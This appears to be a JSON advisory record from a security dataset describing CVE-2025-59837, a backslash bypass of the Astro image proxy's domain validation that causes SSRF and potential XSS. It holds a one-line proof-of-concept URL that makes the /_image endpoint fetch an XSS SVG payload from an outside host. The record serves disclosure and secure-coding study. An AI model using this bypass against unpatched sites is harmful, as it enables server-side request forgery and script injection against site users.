{ "canonical_id": "astro--CVE-2025-59837", "system_id": "astro", "display_name": "Astro", "category": "frameworks", "advisory_mode": "core", "title": "Astro's bypass of image proxy domain validation leads to SSRF and potential XSS", "summary": "### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)", "published_at": "2025-10-28T17:45:04Z", "updated_at": "2025-10-29T14:48:45Z", "severity": "low", "cvss_score": 3.1, "exploit_status": "unknown", "source_confidence": "official", "official_source_url": "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2", "secondary_source_urls": [ "https://nvd.nist.gov/vuln/detail/CVE-2025-59837", "https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4", "https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252", "https://github.com/withastro/astro" ], "aliases": [ "CVE-2025-59837", "GHSA-qcpr-679q-rhm2" ], "cve_ids": [ "CVE-2025-59837" ], "ghsa_ids": [ "GHSA-qcpr-679q-rhm2" ], "osv_ids": [ "GHSA-qcpr-679q-rhm2" ], "affected_versions": [ "introduced=5.13.4, fixed<5.13.10" ], "fixed_versions": [ "5.13.10" ], "package_name": "astro", "render_markdown": true, "case_path": "07-framework-security/frameworks/astro/cases/astro-cve-2025-59837.md", "secure_code_topics": [ "authz-server-side-recheck", "csp-trusted-types", "xss-output-encoding", "ssrf-url-validation", "proxy-trust-boundary" ], "status": "generated", "triage_reasons": [], "verification_status": "triage-manual", "verification_mode": "synthetic", "last_verified_at": null, "last_run_id": null, "evidence_bundle": null, "historical_status": null, "latest_status": null, "browser_evidence": { "required": false, "present": false, "refs": [] }, "repro_profile_id": "xss-generic", "artifact_mode": "synthetic", "blocked_reason": null, "metadata": { "source_names": [ "OSV Astro" ], "source_kinds": [ "osv-batch" ], "candidate_count": 1 } }